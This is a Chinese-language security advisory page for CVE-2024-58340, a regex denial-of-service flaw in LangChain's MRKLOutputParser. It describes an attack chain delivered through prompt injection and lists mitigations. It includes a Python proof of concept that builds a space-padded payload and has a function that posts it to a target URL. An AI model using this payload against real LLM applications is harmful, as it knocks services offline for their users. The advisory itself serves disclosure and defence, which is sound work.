IPBUF安全漏洞报告
English
CVE-2024-58340 CVSS 7.5 高危

CVE-2024-58340 LangChain MRKLOutputParser正则表达式拒绝服务漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2024-58340
漏洞类型
正则表达式拒绝服务(ReDoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LangChain

相关标签

ReDoS正则表达式拒绝服务LangChainMRKLOutputParserLLM应用安全Prompt InjectionCVE-2024-58340拒绝服务

漏洞概述

CVE-2024-58340是LangChain框架中的一个高危正则表达式拒绝服务漏洞。LangChain是一个开源的大语言模型应用开发框架,广泛用于构建基于LLM的应用程序。该漏洞存在于MRKLOutputParser.parse()方法中,该方法负责从模型输出中提取工具调用动作。由于使用了存在灾难性回溯问题的正则表达式,攻击者可以通过构造特定的输入payload来触发正则引擎的指数级回溯,从而导致CPU资源被大量消耗,出现显著的解析延迟甚至服务拒绝。攻击者可以通过多种方式触发此漏洞,最典型的场景是在支持prompt injection的下游应用中,恶意用户通过注入精心构造的文本内容,间接将payload传递给MRKLOutputParser进行解析。由于该解析器通常在LLM应用的关键路径上被调用,漏洞被利用后将直接影响应用的响应能力和可用性。CVSS评分7.5,属于高危级别,需要尽快修复。

技术细节

该漏洞位于LangChain库的libs/langchain/langchain/agents/mrkl/output_parser.py文件中的MRKLOutputParser.parse()方法。漏洞根源在于该方法使用了存在回溯问题的正则表达式来匹配和提取工具动作。正则表达式在处理嵌套量词或重叠匹配路径时,当输入文本与模式部分匹配但最终无法完全匹配时,正则引擎会尝试所有可能的回溯路径,导致时间复杂度从线性增长到指数级。当攻击者提供包含大量重复字符(如空格)的payload时,正则引擎会陷入大量的回溯计算中。例如,构造一个包含数十个连续空格的字符串,该字符串与正则模式的部分子表达式匹配但整体不匹配,引擎会尝试所有可能的分组和量词组合,从而触发CPU的100%占用。这种攻击在LLM应用场景下特别危险,因为MRKLOutputParser通常处理来自大语言模型的输出,而LLM应用可能通过prompt injection或用户输入将恶意内容传递给解析器。攻击者无需特殊权限,只需能够向应用提交文本内容即可触发漏洞。

攻击链分析

STEP 1
步骤1
攻击者识别使用LangChain的下游LLM应用,特别是调用MRKLOutputParser处理模型输出的应用
STEP 2
步骤2
攻击者通过prompt injection或用户输入接口,向应用提交包含精心构造payload的文本
STEP 3
步骤3
应用将LLM输出或用户输入传递给MRKLOutputParser.parse()方法进行解析
STEP 4
步骤4
MRKLOutputParser使用存在漏洞的正则表达式匹配输入,触发灾难性回溯
STEP 5
步骤5
正则引擎进入指数级计算,CPU占用率飙升至100%,导致进程挂起或响应超时
STEP 6
步骤6
应用出现显著的解析延迟或完全不可用,实现拒绝服务攻击效果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import re import time import requests # Vulnerable regex pattern from LangChain MRKLOutputParser # This pattern has catastrophic backtracking issues VULNERABLE_PATTERN = r'\s*\n?\s*Action:\s*(.+?)\n?\s*Action Input:\s*(.+?)(?:\n\s*\n?|\Z)' # PoC payload that triggers ReDoS # The many spaces cause the regex to backtrack exponentially def generate_redos_payload(num_spaces=100): return f"""Thought: Let me help you Action: calculator Action Input: 1 + 1{' ' * num_spaces}Extra text that doesn't match""" def test_redos(): payload = generate_redos_payload(100) print(f"Testing payload length: {len(payload)} characters") start_time = time.time() try: # This will cause significant delay due to ReDoS match = re.search(VULNERABLE_PATTERN, payload, re.DOTALL) elapsed = time.time() - start_time print(f"Match completed in {elapsed:.4f} seconds") except: elapsed = time.time() - start_time print(f"Regex timeout or error after {elapsed:.4f} seconds") # Simulate HTTP request to vulnerable endpoint def exploit_via_http(target_url): """ Exploit the ReDoS vulnerability via HTTP request In real attack scenario, this would be sent to a LangChain application that processes LLM output with MRKLOutputParser """ payload = generate_redos_payload(200) # Example POST request to vulnerable endpoint response = requests.post( target_url, json={'user_input': payload, 'use_parser': True}, timeout=30 ) return response if __name__ == "__main__": print("CVE-2024-58340 ReDoS PoC") print("=" * 50) test_redos()

影响范围

LangChain <= 0.3.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)对用户输入进行严格的长度和内容验证,过滤异常的重复字符模式;2)为正则解析操作添加超时机制,防止单次解析占用过多资源;3)限制MRKLOutputParser的使用场景,避免处理来自不可信来源的文本;4)考虑使用沙箱环境隔离解析操作,限制资源消耗;5)监控CPU使用率,设置告警阈值及时发现异常情况。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表